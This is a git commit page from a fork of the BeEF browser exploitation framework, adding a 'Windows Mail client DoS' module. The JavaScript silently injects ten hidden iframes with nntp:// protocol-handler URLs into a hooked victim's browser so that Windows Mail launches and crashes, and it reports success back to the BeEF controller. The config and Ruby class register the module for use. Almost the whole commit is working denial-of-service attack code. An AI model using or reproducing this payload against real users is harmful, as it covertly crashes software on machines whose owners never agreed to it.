Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Added module: Windows Mail client DoS

Browse Source 
Fixes issue 521



git-svn-id: https://beef.googlecode.com/svn/trunk@1307 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-09-25 00:10:55 +00:00
parent 6dc5a55bed
commit 290f4277f7
3 changed files with 83 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

39
modules/ipec/window_mail_client_dos/command.js Normal file
View File

@@ -0,0 +1,39 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
// container iframe
var winmail_container = document.createElement('iframe');
winmail_container.setAttribute('id', 'winmail');
winmail_container.setAttribute('style', 'display:none');
document.body.appendChild(winmail_container);
// initiate 10 nntp connections
// 8 to trigger bug + 2 in case the user manages to close some
var protocol_iframe;
for(var i=1;i<=10;i++) {
protocol_iframe = document.createElement('iframe');
protocol_iframe.setAttribute('src', 'nntp://127.0.0.1:119//');
protocol_iframe.setAttribute('id', 'winmail'+i);
protocol_iframe.setAttribute('style', 'display:none');
winmail_container.contentWindow.document.body.appendChild(protocol_iframe);
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "complete");
document.body.removeChild(document.getElementById('winmail'));
});

26
modules/ipec/window_mail_client_dos/config.yaml Normal file
View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
windows_mail_client_dos:
enable: true
category: "IPEC"
name: "Windows Mail client DoS"
description: "This module exploits an unhandled exception in Windows Mail to crash the client remotely.<br /><br />Windows Mail is launched and then crashed if it is not already open.<br /><br />Windows Mail comes installed by default on Windows Vista.<br /><br />The protocol handler used will be: nntp.<br /><br />"
authors: ["bcoles"]
target:
user_notify: ["FF", "S"]
not_working: ["All"]

18
modules/ipec/window_mail_client_dos/module.rb Normal file
View File

@@ -0,0 +1,18 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Windows_mail_client_dos < BeEF::Core::Command
end